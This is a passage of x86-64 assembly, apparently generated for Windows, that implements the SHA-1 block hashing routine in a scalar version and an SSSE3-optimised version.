esi,[1859775393+rsi*1+rbp] xor edx,DWORD[24+rsp] xor eax,r13d add esi,ecx xor edx,DWORD[44+rsp] rol r11d,30 add esi,eax rol edx,1 mov DWORD[56+rsp],edx mov ebp,DWORD[60+rsp] mov eax,r11d mov ecx,esi xor ebp,DWORD[4+rsp] xor eax,edi rol ecx,5 lea r13d,[1859775393+r13*1+rdx] xor ebp,DWORD[28+rsp] xor eax,r12d add r13d,ecx xor ebp,DWORD[48+rsp] rol edi,30 add r13d,eax rol ebp,1 mov DWORD[60+rsp],ebp mov edx,DWORD[rsp] mov eax,edi mov ecx,r13d xor edx,DWORD[8+rsp] xor eax,esi rol ecx,5 lea r12d,[1859775393+r12*1+rbp] xor edx,DWORD[32+rsp] xor eax,r11d add r12d,ecx xor edx,DWORD[52+rsp] rol esi,30 add r12d,eax rol edx,1 mov DWORD[rsp],edx mov ebp,DWORD[4+rsp] mov eax,esi mov ecx,r12d xor ebp,DWORD[12+rsp] xor eax,r13d rol ecx,5 lea r11d,[1859775393+r11*1+rdx] xor ebp,DWORD[36+rsp] xor eax,edi add r11d,ecx xor ebp,DWORD[56+rsp] rol r13d,30 add r11d,eax rol ebp,1 mov DWORD[4+rsp],ebp mov edx,DWORD[8+rsp] mov eax,r13d mov ecx,r11d xor edx,DWORD[16+rsp] xor eax,r12d rol ecx,5 lea edi,[1859775393+rdi*1+rbp] xor edx,DWORD[40+rsp] xor eax,esi add edi,ecx xor edx,DWORD[60+rsp] rol r12d,30 add edi,eax rol edx,1 mov DWORD[8+rsp],edx mov ebp,DWORD[12+rsp] mov eax,r12d mov ecx,edi xor ebp,DWORD[20+rsp] xor eax,r11d rol ecx,5 lea esi,[1859775393+rsi*1+rdx] xor ebp,DWORD[44+rsp] xor eax,r13d add esi,ecx xor ebp,DWORD[rsp] rol r11d,30 add esi,eax rol ebp,1 mov DWORD[12+rsp],ebp mov edx,DWORD[16+rsp] mov eax,r11d mov ecx,esi xor edx,DWORD[24+rsp] xor eax,edi rol ecx,5 lea r13d,[1859775393+r13*1+rbp] xor edx,DWORD[48+rsp] xor eax,r12d add r13d,ecx xor edx,DWORD[4+rsp] rol edi,30 add r13d,eax rol edx,1 mov DWORD[16+rsp],edx mov ebp,DWORD[20+rsp] mov eax,edi mov ecx,r13d xor ebp,DWORD[28+rsp] xor eax,esi rol ecx,5 lea r12d,[1859775393+r12*1+rdx] xor ebp,DWORD[52+rsp] xor eax,r11d add r12d,ecx xor ebp,DWORD[8+rsp] rol esi,30 add r12d,eax rol ebp,1 mov DWORD[20+rsp],ebp mov edx,DWORD[24+rsp] mov eax,esi mov ecx,r12d xor edx,DWORD[32+rsp] xor eax,r13d rol ecx,5 lea r11d,[1859775393+r11*1+rbp] xor edx,DWORD[56+rsp] xor eax,edi add r11d,ecx xor edx,DWORD[12+rsp] rol r13d,30 add r11d,eax rol edx,1 mov DWORD[24+rsp],edx mov ebp,DWORD[28+rsp] mov eax,r13d mov ecx,r11d xor ebp,DWORD[36+rsp] xor eax,r12d rol ecx,5 lea edi,[1859775393+rdi*1+rdx] xor ebp,DWORD[60+rsp] xor eax,esi add edi,ecx xor ebp,DWORD[16+rsp] rol r12d,30 add edi,eax rol ebp,1 mov DWORD[28+rsp],ebp mov edx,DWORD[32+rsp] mov eax,r12d mov ecx,edi xor edx,DWORD[40+rsp] xor eax,r11d rol ecx,5 lea esi,[1859775393+rsi*1+rbp] xor edx,DWORD[rsp] xor eax,r13d add esi,ecx xor edx,DWORD[20+rsp] rol r11d,30 add esi,eax rol edx,1 mov DWORD[32+rsp],edx mov ebp,DWORD[36+rsp] mov eax,r11d mov ebx,r11d xor ebp,DWORD[44+rsp] and eax,r12d mov ecx,esi xor ebp,DWORD[4+rsp] xor ebx,r12d lea r13d,[((-1894007588))+r13*1+rdx] rol ecx,5 xor ebp,DWORD[24+rsp] add r13d,eax and ebx,edi rol ebp,1 add r13d,ebx rol edi,30 mov DWORD[36+rsp],ebp add r13d,ecx mov edx,DWORD[40+rsp] mov eax,edi mov ebx,edi xor edx,DWORD[48+rsp] and eax,r11d mov ecx,r13d xor edx,DWORD[8+rsp] xor ebx,r11d lea r12d,[((-1894007588))+r12*1+rbp] rol ecx,5 xor edx,DWORD[28+rsp] add r12d,eax and ebx,esi rol edx,1 add r12d,ebx rol esi,30 mov DWORD[40+rsp],edx add r12d,ecx mov ebp,DWORD[44+rsp] mov eax,esi mov ebx,esi xor ebp,DWORD[52+rsp] and eax,edi mov ecx,r12d xor ebp,DWORD[12+rsp] xor ebx,edi lea r11d,[((-1894007588))+r11*1+rdx] rol ecx,5 xor ebp,DWORD[32+rsp] add r11d,eax and ebx,r13d rol ebp,1 add r11d,ebx rol r13d,30 mov DWORD[44+rsp],ebp add r11d,ecx mov edx,DWORD[48+rsp] mov eax,r13d mov ebx,r13d xor edx,DWORD[56+rsp] and eax,esi mov ecx,r11d xor edx,DWORD[16+rsp] xor ebx,esi lea edi,[((-1894007588))+rdi*1+rbp] rol ecx,5 xor edx,DWORD[36+rsp] add edi,eax and ebx,r12d rol edx,1 add edi,ebx rol r12d,30 mov DWORD[48+rsp],edx add edi,ecx mov ebp,DWORD[52+rsp] mov eax,r12d mov ebx,r12d xor ebp,DWORD[60+rsp] and eax,r13d mov ecx,edi xor ebp,DWORD[20+rsp] xor ebx,r13d lea esi,[((-1894007588))+rsi*1+rdx] rol ecx,5 xor ebp,DWORD[40+rsp] add esi,eax and ebx,r11d rol ebp,1 add esi,ebx rol r11d,30 mov DWORD[52+rsp],ebp add esi,ecx mov edx,DWORD[56+rsp] mov eax,r11d mov ebx,r11d xor edx,DWORD[rsp] and eax,r12d mov ecx,esi xor edx,DWORD[24+rsp] xor ebx,r12d lea r13d,[((-1894007588))+r13*1+rbp] rol ecx,5 xor edx,DWORD[44+rsp] add r13d,eax and ebx,edi rol edx,1 add r13d,ebx rol edi,30 mov DWORD[56+rsp],edx add r13d,ecx mov ebp,DWORD[60+rsp] mov eax,edi mov ebx,edi xor ebp,DWORD[4+rsp] and eax,r11d mov ecx,r13d xor ebp,DWORD[28+rsp] xor ebx,r11d lea r12d,[((-1894007588))+r12*1+rdx] rol ecx,5 xor ebp,DWORD[48+rsp] add r12d,eax and ebx,esi rol ebp,1 add r12d,ebx rol esi,30 mov DWORD[60+rsp],ebp add r12d,ecx mov edx,DWORD[rsp] mov eax,esi mov ebx,esi xor edx,DWORD[8+rsp] and eax,edi mov ecx,r12d xor edx,DWORD[32+rsp] xor ebx,edi lea r11d,[((-1894007588))+r11*1+rbp] rol ecx,5 xor edx,DWORD[52+rsp] add r11d,eax and ebx,r13d rol edx,1 add r11d,ebx rol r13d,30 mov DWORD[rsp],edx add r11d,ecx mov ebp,DWORD[4+rsp] mov eax,r13d mov ebx,r13d xor ebp,DWORD[12+rsp] and eax,esi mov ecx,r11d xor ebp,DWORD[36+rsp] xor ebx,esi lea edi,[((-1894007588))+rdi*1+rdx] rol ecx,5 xor ebp,DWORD[56+rsp] add edi,eax and ebx,r12d rol ebp,1 add edi,ebx rol r12d,30 mov DWORD[4+rsp],ebp add edi,ecx mov edx,DWORD[8+rsp] mov eax,r12d mov ebx,r12d xor edx,DWORD[16+rsp] and eax,r13d mov ecx,edi xor edx,DWORD[40+rsp] xor ebx,r13d lea esi,[((-1894007588))+rsi*1+rbp] rol ecx,5 xor edx,DWORD[60+rsp] add esi,eax and ebx,r11d rol edx,1 add esi,ebx rol r11d,30 mov DWORD[8+rsp],edx add esi,ecx mov ebp,DWORD[12+rsp] mov eax,r11d mov ebx,r11d xor ebp,DWORD[20+rsp] and eax,r12d mov ecx,esi xor ebp,DWORD[44+rsp] xor ebx,r12d lea r13d,[((-1894007588))+r13*1+rdx] rol ecx,5 xor ebp,DWORD[rsp] add r13d,eax and ebx,edi rol ebp,1 add r13d,ebx rol edi,30 mov DWORD[12+rsp],ebp add r13d,ecx mov edx,DWORD[16+rsp] mov eax,edi mov ebx,edi xor edx,DWORD[24+rsp] and eax,r11d mov ecx,r13d xor edx,DWORD[48+rsp] xor ebx,r11d lea r12d,[((-1894007588))+r12*1+rbp] rol ecx,5 xor edx,DWORD[4+rsp] add r12d,eax and ebx,esi rol edx,1 add r12d,ebx rol esi,30 mov DWORD[16+rsp],edx add r12d,ecx mov ebp,DWORD[20+rsp] mov eax,esi mov ebx,esi xor ebp,DWORD[28+rsp] and eax,edi mov ecx,r12d xor ebp,DWORD[52+rsp] xor ebx,edi lea r11d,[((-1894007588))+r11*1+rdx] rol ecx,5 xor ebp,DWORD[8+rsp] add r11d,eax and ebx,r13d rol ebp,1 add r11d,ebx rol r13d,30 mov DWORD[20+rsp],ebp add r11d,ecx mov edx,DWORD[24+rsp] mov eax,r13d mov ebx,r13d xor edx,DWORD[32+rsp] and eax,esi mov ecx,r11d xor edx,DWORD[56+rsp] xor ebx,esi lea edi,[((-1894007588))+rdi*1+rbp] rol ecx,5 xor edx,DWORD[12+rsp] add edi,eax and ebx,r12d rol edx,1 add edi,ebx rol r12d,30 mov DWORD[24+rsp],edx add edi,ecx mov ebp,DWORD[28+rsp] mov eax,r12d mov ebx,r12d xor ebp,DWORD[36+rsp] and eax,r13d mov ecx,edi xor ebp,DWORD[60+rsp] xor ebx,r13d lea esi,[((-1894007588))+rsi*1+rdx] rol ecx,5 xor ebp,DWORD[16+rsp] add esi,eax and ebx,r11d rol ebp,1 add esi,ebx rol r11d,30 mov DWORD[28+rsp],ebp add esi,ecx mov edx,DWORD[32+rsp] mov eax,r11d mov ebx,r11d xor edx,DWORD[40+rsp] and eax,r12d mov ecx,esi xor edx,DWORD[rsp] xor ebx,r12d lea r13d,[((-1894007588))+r13*1+rbp] rol ecx,5 xor edx,DWORD[20+rsp] add r13d,eax and ebx,edi rol edx,1 add r13d,ebx rol edi,30 mov DWORD[32+rsp],edx add r13d,ecx mov ebp,DWORD[36+rsp] mov eax,edi mov ebx,edi xor ebp,DWORD[44+rsp] and eax,r11d mov ecx,r13d xor ebp,DWORD[4+rsp] xor ebx,r11d lea r12d,[((-1894007588))+r12*1+rdx] rol ecx,5 xor ebp,DWORD[24+rsp] add r12d,eax and ebx,esi rol ebp,1 add r12d,ebx rol esi,30 mov DWORD[36+rsp],ebp add r12d,ecx mov edx,DWORD[40+rsp] mov eax,esi mov ebx,esi xor edx,DWORD[48+rsp] and eax,edi mov ecx,r12d xor edx,DWORD[8+rsp] xor ebx,edi lea r11d,[((-1894007588))+r11*1+rbp] rol ecx,5 xor edx,DWORD[28+rsp] add r11d,eax and ebx,r13d rol edx,1 add r11d,ebx rol r13d,30 mov DWORD[40+rsp],edx add r11d,ecx mov ebp,DWORD[44+rsp] mov eax,r13d mov ebx,r13d xor ebp,DWORD[52+rsp] and eax,esi mov ecx,r11d xor ebp,DWORD[12+rsp] xor ebx,esi lea edi,[((-1894007588))+rdi*1+rdx] rol ecx,5 xor ebp,DWORD[32+rsp] add edi,eax and ebx,r12d rol ebp,1 add edi,ebx rol r12d,30 mov DWORD[44+rsp],ebp add edi,ecx mov edx,DWORD[48+rsp] mov eax,r12d mov ebx,r12d xor edx,DWORD[56+rsp] and eax,r13d mov ecx,edi xor edx,DWORD[16+rsp] xor ebx,r13d lea esi,[((-1894007588))+rsi*1+rbp] rol ecx,5 xor edx,DWORD[36+rsp] add esi,eax and ebx,r11d rol edx,1 add esi,ebx rol r11d,30 mov DWORD[48+rsp],edx add esi,ecx mov ebp,DWORD[52+rsp] mov eax,r11d mov ecx,esi xor ebp,DWORD[60+rsp] xor eax,edi rol ecx,5 lea r13d,[((-899497514))+r13*1+rdx] xor ebp,DWORD[20+rsp] xor eax,r12d add r13d,ecx xor ebp,DWORD[40+rsp] rol edi,30 add r13d,eax rol ebp,1 mov DWORD[52+rsp],ebp mov edx,DWORD[56+rsp] mov eax,edi mov ecx,r13d xor edx,DWORD[rsp] xor eax,esi rol ecx,5 lea r12d,[((-899497514))+r12*1+rbp] xor edx,DWORD[24+rsp] xor eax,r11d add r12d,ecx xor edx,DWORD[44+rsp] rol esi,30 add r12d,eax rol edx,1 mov DWORD[56+rsp],edx mov ebp,DWORD[60+rsp] mov eax,esi mov ecx,r12d xor ebp,DWORD[4+rsp] xor eax,r13d rol ecx,5 lea r11d,[((-899497514))+r11*1+rdx] xor ebp,DWORD[28+rsp] xor eax,edi add r11d,ecx xor ebp,DWORD[48+rsp] rol r13d,30 add r11d,eax rol ebp,1 mov DWORD[60+rsp],ebp mov edx,DWORD[rsp] mov eax,r13d mov ecx,r11d xor edx,DWORD[8+rsp] xor eax,r12d rol ecx,5 lea edi,[((-899497514))+rdi*1+rbp] xor edx,DWORD[32+rsp] xor eax,esi add edi,ecx xor edx,DWORD[52+rsp] rol r12d,30 add edi,eax rol edx,1 mov DWORD[rsp],edx mov ebp,DWORD[4+rsp] mov eax,r12d mov ecx,edi xor ebp,DWORD[12+rsp] xor eax,r11d rol ecx,5 lea esi,[((-899497514))+rsi*1+rdx] xor ebp,DWORD[36+rsp] xor eax,r13d add esi,ecx xor ebp,DWORD[56+rsp] rol r11d,30 add esi,eax rol ebp,1 mov DWORD[4+rsp],ebp mov edx,DWORD[8+rsp] mov eax,r11d mov ecx,esi xor edx,DWORD[16+rsp] xor eax,edi rol ecx,5 lea r13d,[((-899497514))+r13*1+rbp] xor edx,DWORD[40+rsp] xor eax,r12d add r13d,ecx xor edx,DWORD[60+rsp] rol edi,30 add r13d,eax rol edx,1 mov DWORD[8+rsp],edx mov ebp,DWORD[12+rsp] mov eax,edi mov ecx,r13d xor ebp,DWORD[20+rsp] xor eax,esi rol ecx,5 lea r12d,[((-899497514))+r12*1+rdx] xor ebp,DWORD[44+rsp] xor eax,r11d add r12d,ecx xor ebp,DWORD[rsp] rol esi,30 add r12d,eax rol ebp,1 mov DWORD[12+rsp],ebp mov edx,DWORD[16+rsp] mov eax,esi mov ecx,r12d xor edx,DWORD[24+rsp] xor eax,r13d rol ecx,5 lea r11d,[((-899497514))+r11*1+rbp] xor edx,DWORD[48+rsp] xor eax,edi add r11d,ecx xor edx,DWORD[4+rsp] rol r13d,30 add r11d,eax rol edx,1 mov DWORD[16+rsp],edx mov ebp,DWORD[20+rsp] mov eax,r13d mov ecx,r11d xor ebp,DWORD[28+rsp] xor eax,r12d rol ecx,5 lea edi,[((-899497514))+rdi*1+rdx] xor ebp,DWORD[52+rsp] xor eax,esi add edi,ecx xor ebp,DWORD[8+rsp] rol r12d,30 add edi,eax rol ebp,1 mov DWORD[20+rsp],ebp mov edx,DWORD[24+rsp] mov eax,r12d mov ecx,edi xor edx,DWORD[32+rsp] xor eax,r11d rol ecx,5 lea esi,[((-899497514))+rsi*1+rbp] xor edx,DWORD[56+rsp] xor eax,r13d add esi,ecx xor edx,DWORD[12+rsp] rol r11d,30 add esi,eax rol edx,1 mov DWORD[24+rsp],edx mov ebp,DWORD[28+rsp] mov eax,r11d mov ecx,esi xor ebp,DWORD[36+rsp] xor eax,edi rol ecx,5 lea r13d,[((-899497514))+r13*1+rdx] xor ebp,DWORD[60+rsp] xor eax,r12d add r13d,ecx xor ebp,DWORD[16+rsp] rol edi,30 add r13d,eax rol ebp,1 mov DWORD[28+rsp],ebp mov edx,DWORD[32+rsp] mov eax,edi mov ecx,r13d xor edx,DWORD[40+rsp] xor eax,esi rol ecx,5 lea r12d,[((-899497514))+r12*1+rbp] xor edx,DWORD[rsp] xor eax,r11d add r12d,ecx xor edx,DWORD[20+rsp] rol esi,30 add r12d,eax rol edx,1 mov DWORD[32+rsp],edx mov ebp,DWORD[36+rsp] mov eax,esi mov ecx,r12d xor ebp,DWORD[44+rsp] xor eax,r13d rol ecx,5 lea r11d,[((-899497514))+r11*1+rdx] xor ebp,DWORD[4+rsp] xor eax,edi add r11d,ecx xor ebp,DWORD[24+rsp] rol r13d,30 add r11d,eax rol ebp,1 mov DWORD[36+rsp],ebp mov edx,DWORD[40+rsp] mov eax,r13d mov ecx,r11d xor edx,DWORD[48+rsp] xor eax,r12d rol ecx,5 lea edi,[((-899497514))+rdi*1+rbp] xor edx,DWORD[8+rsp] xor eax,esi add edi,ecx xor edx,DWORD[28+rsp] rol r12d,30 add edi,eax rol edx,1 mov DWORD[40+rsp],edx mov ebp,DWORD[44+rsp] mov eax,r12d mov ecx,edi xor ebp,DWORD[52+rsp] xor eax,r11d rol ecx,5 lea esi,[((-899497514))+rsi*1+rdx] xor ebp,DWORD[12+rsp] xor eax,r13d add esi,ecx xor ebp,DWORD[32+rsp] rol r11d,30 add esi,eax rol ebp,1 mov DWORD[44+rsp],ebp mov edx,DWORD[48+rsp] mov eax,r11d mov ecx,esi xor edx,DWORD[56+rsp] xor eax,edi rol ecx,5 lea r13d,[((-899497514))+r13*1+rbp] xor edx,DWORD[16+rsp] xor eax,r12d add r13d,ecx xor edx,DWORD[36+rsp] rol edi,30 add r13d,eax rol edx,1 mov DWORD[48+rsp],edx mov ebp,DWORD[52+rsp] mov eax,edi mov ecx,r13d xor ebp,DWORD[60+rsp] xor eax,esi rol ecx,5 lea r12d,[((-899497514))+r12*1+rdx] xor ebp,DWORD[20+rsp] xor eax,r11d add r12d,ecx xor ebp,DWORD[40+rsp] rol esi,30 add r12d,eax rol ebp,1 mov edx,DWORD[56+rsp] mov eax,esi mov ecx,r12d xor edx,DWORD[rsp] xor eax,r13d rol ecx,5 lea r11d,[((-899497514))+r11*1+rbp] xor edx,DWORD[24+rsp] xor eax,edi add r11d,ecx xor edx,DWORD[44+rsp] rol r13d,30 add r11d,eax rol edx,1 mov ebp,DWORD[60+rsp] mov eax,r13d mov ecx,r11d xor ebp,DWORD[4+rsp] xor eax,r12d rol ecx,5 lea edi,[((-899497514))+rdi*1+rdx] xor ebp,DWORD[28+rsp] xor eax,esi add edi,ecx xor ebp,DWORD[48+rsp] rol r12d,30 add edi,eax rol ebp,1 mov eax,r12d mov ecx,edi xor eax,r11d lea esi,[((-899497514))+rsi*1+rbp] rol ecx,5 xor eax,r13d add esi,ecx rol r11d,30 add esi,eax add esi,DWORD[r8] add edi,DWORD[4+r8] add r11d,DWORD[8+r8] add r12d,DWORD[12+r8] add r13d,DWORD[16+r8] mov DWORD[r8],esi mov DWORD[4+r8],edi mov DWORD[8+r8],r11d mov DWORD[12+r8],r12d mov DWORD[16+r8],r13d sub r10,1 lea r9,[64+r9] jnz NEAR $L$loop mov rsi,QWORD[64+rsp] mov r13,QWORD[rsi] mov r12,QWORD[8+rsi] mov rbp,QWORD[16+rsi] mov rbx,QWORD[24+rsi] lea rsp,[32+rsi] $L$epilogue: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_sha1_block_data_order: ALIGN 16 sha1_block_data_order_ssse3: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_sha1_block_data_order_ssse3: mov rdi,rcx mov rsi,rdx mov rdx,r8 _ssse3_shortcut: push rbx push rbp push r12 lea rsp,[((-160))+rsp] movaps XMMWORD[(64+0)+rsp],xmm6 movaps XMMWORD[(64+16)+rsp],xmm7 movaps XMMWORD[(64+32)+rsp],xmm8 movaps XMMWORD[(64+48)+rsp],xmm9 movaps XMMWORD[(64+64)+rsp],xmm10 movaps XMMWORD[(64+80)+rsp],xmm11 $L$prologue_ssse3: mov r8,rdi mov r9,rsi mov r10,rdx shl r10,6 add r10,r9 lea r11,[K_XX_XX] mov eax,DWORD[r8] mov ebx,DWORD[4+r8] mov ecx,DWORD[8+r8] mov edx,DWORD[12+r8] mov esi,ebx mov ebp,DWORD[16+r8] mov edi,ecx xor edi,edx and esi,edi movdqa xmm6,XMMWORD[64+r11] movdqa xmm9,XMMWORD[r11] movdqu xmm0,XMMWORD[r9] movdqu xmm1,XMMWORD[16+r9] movdqu xmm2,XMMWORD[32+r9] movdqu xmm3,XMMWORD[48+r9] DB 102,15,56,0,198 add r9,64 DB 102,15,56,0,206 DB 102,15,56,0,214 DB 102,15,56,0,222 paddd xmm0,xmm9 paddd xmm1,xmm9 paddd xmm2,xmm9 movdqa XMMWORD[rsp],xmm0 psubd xmm0,xmm9 movdqa XMMWORD[16+rsp],xmm1 psubd xmm1,xmm9 movdqa XMMWORD[32+rsp],xmm2 psubd xmm2,xmm9 jmp NEAR $L$oop_ssse3 ALIGN 16 $L$oop_ssse3: movdqa xmm4,xmm1 ror ebx,2 xor esi,edx movdqa xmm8,xmm3 DB 102,15,58,15,224,8 mov edi,eax add ebp,DWORD[rsp] paddd xmm9,xmm3 xor ebx,ecx rol eax,5 psrldq xmm8,4 add ebp,esi and edi,ebx pxor xmm4,xmm0 xor ebx,ecx add ebp,eax pxor xmm8,xmm2 ror eax,7 xor edi,ecx mov esi,ebp add edx,DWORD[4+rsp] pxor xmm4,xmm8 xor eax,ebx rol ebp,5 movdqa XMMWORD[48+rsp],xmm9 add edx,edi and esi,eax movdqa xmm10,xmm4 movdqa xmm8,xmm4 xor eax,ebx add edx,ebp ror ebp,7 xor esi,ebx pslldq xmm10,12 paddd xmm4,xmm4 mov edi,edx add ecx,DWORD[8+rsp] xor ebp,eax rol edx,5 psrld xmm8,31 add ecx,esi and edi,ebp movdqa xmm9,xmm10 xor ebp,eax add ecx,edx psrld xmm10,30 por xmm4,xmm8 ror edx,7 xor edi,eax mov esi,ecx add ebx,DWORD[12+rsp] pslld xmm9,2 pxor xmm4,xmm10 xor edx,ebp rol ecx,5 movdqa xmm10,XMMWORD[r11] add ebx,edi and esi,edx pxor xmm4,xmm9 xor edx,ebp add ebx,ecx movdqa xmm5,xmm2 ror ecx,7 xor esi,ebp movdqa xmm9,xmm4 DB 102,15,58,15,233,8 mov edi,ebx add eax,DWORD[16+rsp] paddd xmm10,xmm4 xor ecx,edx rol ebx,5 psrldq xmm9,4 add eax,esi and edi,ecx pxor xmm5,xmm1 xor ecx,edx add eax,ebx pxor xmm9,xmm3 ror ebx,7 xor edi,edx mov esi,eax add ebp,DWORD[20+rsp] pxor xmm5,xmm9 xor ebx,ecx rol eax,5 movdqa XMMWORD[rsp],xmm10 add ebp,edi and esi,ebx movdqa xmm8,xmm5 movdqa xmm9,xmm5 xor ebx,ecx add ebp,eax ror eax,7 xor esi,ecx pslldq xmm8,12 paddd xmm5,xmm5 mov edi,ebp add edx,DWORD[24+rsp] xor eax,ebx rol ebp,5 psrld xmm9,31 add edx,esi and edi,eax movdqa xmm10,xmm8 xor eax,ebx add edx,ebp psrld xmm8,30 por xmm5,xmm9 ror ebp,7 xor edi,ebx mov esi,edx add ecx,DWORD[28+rsp] pslld xmm10,2 pxor xmm5,xmm8 xor ebp,eax rol edx,5 movdqa xmm8,XMMWORD[16+r11] add ecx,edi and esi,ebp pxor xmm5,xmm10 xor ebp,eax add ecx,edx movdqa xmm6,xmm3 ror edx,7 xor esi,eax movdqa xmm10,xmm5 DB 102,15,58,15,242,8 mov edi,ecx add ebx,DWORD[32+rsp] paddd xmm8,xmm5 xor edx,ebp rol ecx,5 psrldq xmm10,4 add ebx,esi and edi,edx pxor xmm6,xmm2 xor edx,ebp add ebx,ecx pxor xmm10,xmm4 ror ecx,7 xor edi,ebp mov esi,ebx add eax,DWORD[36+rsp] pxor xmm6,xmm10 xor ecx,edx rol ebx,5 movdqa XMMWORD[16+rsp],xmm8 add eax,edi and esi,ecx movdqa xmm9,xmm6 movdqa xmm10,xmm6 xor ecx,edx add eax,ebx ror ebx,7 xor esi,edx pslldq xmm9,12 paddd xmm6,xmm6 mov edi,eax add ebp,DWORD[40+rsp] xor ebx,ecx rol eax,5 psrld xmm10,31 add ebp,esi and edi,ebx movdqa xmm8,xmm9 xor ebx,ecx add ebp,eax psrld xmm9,30 por xmm6,xmm10 ror eax,7 xor edi,ecx mov esi,ebp add edx,DWORD[44+rsp] pslld xmm8,2 pxor xmm6,xmm9 xor eax,ebx rol ebp,5 movdqa xmm9,XMMWORD[16+r11] add edx,edi and esi,eax pxor xmm6,xmm8 xor eax,ebx add edx,ebp movdqa xmm7,xmm4 ror ebp,7 xor esi,ebx movdqa xmm8,xmm6 DB 102,15,58,15,251,8 mov edi,edx add ecx,DWORD[48+rsp] paddd xmm9,xmm6 xor ebp,eax rol edx,5 psrldq xmm8,4 add ecx,esi and edi,ebp pxor xmm7,xmm3 xor ebp,eax add ecx,edx pxor xmm8,xmm5 ror edx,7 xor edi,eax mov esi,ecx add ebx,DWORD[52+rsp] pxor xmm7,xmm8 xor edx,ebp rol ecx,5 movdqa XMMWORD[32+rsp],xmm9 add ebx,edi and esi,edx movdqa xmm10,xmm7 movdqa xmm8,xmm7 xor edx,ebp add ebx,ecx ror ecx,7 xor esi,ebp pslldq xmm10,12 paddd xmm7,xmm7 mov edi,ebx add eax,DWORD[56+rsp] xor ecx,edx rol ebx,5 psrld xmm8,31 add eax,esi and edi,ecx movdqa xmm9,xmm10 xor ecx,edx add eax,ebx psrld xmm10,30 por xmm7,xmm8 ror ebx,7 xor edi,edx mov esi,eax add ebp,DWORD[60+rsp] pslld xmm9,2 pxor xmm7,xmm10 xor ebx,ecx rol eax,5 movdqa xmm10,XMMWORD[16+r11] add ebp,edi and esi,ebx pxor xmm7,xmm9 xor ebx,ecx add ebp,eax movdqa xmm9,xmm7 ror eax,7 pxor xmm0,xmm4 DB 102,68,15,58,15,206,8 xor esi,ecx mov edi,ebp add edx,DWORD[rsp] pxor xmm0,xmm1 xor eax,ebx rol ebp,5 movdqa xmm8,xmm10 paddd xmm10,xmm7 add edx,esi and edi,eax pxor xmm0,xmm9 xor eax,ebx add edx,ebp ror ebp,7 xor edi,ebx movdqa xmm9,xmm0 movdqa XMMWORD[48+rsp],xmm10 mov esi,edx add ecx,DWORD[4+rsp] xor ebp,eax rol edx,5 pslld xmm0,2 add ecx,edi and esi,ebp psrld xmm9,30 xor ebp,eax add ecx,edx ror edx,7 xor esi,eax mov edi,ecx add ebx,DWORD[8+rsp] por xmm0,xmm9 xor edx,ebp rol ecx,5 movdqa xmm10,xmm0 add ebx,esi and edi,edx xor edx,ebp add ebx,ecx add eax,DWORD[12+rsp] xor edi,ebp mov esi,ebx rol ebx,5 add eax,edi xor esi,edx ror ecx,7 add eax,ebx add ebp,DWORD[16+rsp] pxor xmm1,xmm5 DB 102,68,15,58,15,215,8 xor esi,ecx mov edi,eax rol eax,5 pxor xmm1,xmm2 add ebp,esi xor edi,ecx movdqa xmm9,xmm8 paddd xmm8,xmm0 ror ebx,7 add ebp,eax pxor xmm1,xmm10 add edx,DWORD[20+rsp] xor edi,ebx mov esi,ebp rol ebp,5 movdqa xmm10,xmm1 movdqa XMMWORD[rsp],xmm8 add edx,edi xor esi,ebx ror eax,7 add edx,ebp pslld xmm1,2 add ecx,DWORD[24+rsp] xor esi,eax psrld xmm10,30 mov edi,edx rol edx,5 add ecx,esi xor edi,eax ror ebp,7 add ecx,edx por xmm1,xmm10 add ebx,DWORD[28+rsp] xor edi,ebp movdqa xmm8,xmm1 mov esi,ecx rol ecx,5 add ebx,edi xor esi,ebp ror edx,7 add ebx,ecx add eax,DWORD[32+rsp] pxor xmm2,xmm6 DB 102,68,15,58,15,192,8 xor esi,edx mov edi,ebx rol ebx,5 pxor xmm2,xmm3 add eax,esi xor edi,edx movdqa xmm10,XMMWORD[32+r11] paddd xmm9,xmm1 ror ecx,7 add eax,ebx pxor xmm2,xmm8 add ebp,DWORD[36+rsp] xor edi,ecx mov esi,eax rol eax,5 movdqa xmm8,xmm2 movdqa XMMWORD[16+rsp],xmm9 add ebp,edi xor esi,ecx ror ebx,7 add ebp,eax pslld xmm2,2 add edx,DWORD[40+rsp] xor esi,ebx psrld xmm8,30 mov edi,ebp rol ebp,5 add edx,esi xor edi,ebx ror eax,7 add edx,ebp por xmm2,xmm8 add ecx,DWORD[44+rsp] xor edi,eax movdqa xmm9,xmm2 mov esi,edx rol edx,5 add ecx,edi xor esi,eax ror ebp,7 add ecx,edx add ebx,DWORD[48+rsp] pxor xmm3,xmm7 DB 102,68,15,58,15,201,8 xor esi,ebp mov edi,ecx rol ecx,5 pxor xmm3,xmm4 add ebx,esi xor edi,ebp movdqa xmm8,xmm10 paddd xmm10,xmm2 ror edx,7 add ebx,ecx pxor xmm3,xmm9 add eax,DWORD[52+rsp] xor edi,edx mov esi,ebx rol ebx,5 movdqa xmm9,xmm3 movdqa XMMWORD[32+rsp],xmm10 add eax,edi xor esi,edx ror ecx,7 add eax,ebx pslld xmm3,2 add ebp,DWORD[56+rsp] xor esi,ecx psrld xmm9,30 mov edi,eax rol eax,5 add ebp,esi xor edi,ecx ror ebx,7 add ebp,eax por xmm3,xmm9 add edx,DWORD[60+rsp] xor edi,ebx movdqa xmm10,xmm3 mov esi,ebp rol ebp,5 add edx,edi xor esi,ebx ror eax,7 add edx,ebp add ecx,DWORD[rsp] pxor xmm4,xmm0 DB 102,68,15,58,15,210,8 xor esi,eax mov edi,edx rol edx,5 pxor xmm4,xmm5 add ecx,esi xor edi,eax movdqa xmm9,xmm8 paddd xmm8,xmm3 ror ebp,7 add ecx,edx pxor xmm4,xmm10 add ebx,DWORD[4+rsp] xor edi,ebp mov esi,ecx rol ecx,5 movdqa xmm10,xmm4 movdqa XMMWORD[48+rsp],xmm8 add ebx,edi xor esi,ebp ror edx,7 add ebx,ecx pslld xmm4,2 add eax,DWORD[8+rsp] xor esi,edx psrld xmm10,30 mov edi,ebx rol ebx,5 add eax,esi xor edi,edx ror ecx,7 add eax,ebx por xmm4,xmm10 add ebp,DWORD[12+rsp] xor edi,ecx movdqa xmm8,xmm4 mov esi,eax rol eax,5 add ebp,edi xor esi,ecx ror ebx,7 add ebp,eax add edx,DWORD[16+rsp] pxor xmm5,xmm1 DB 102,68,15,58,15,195,8 xor 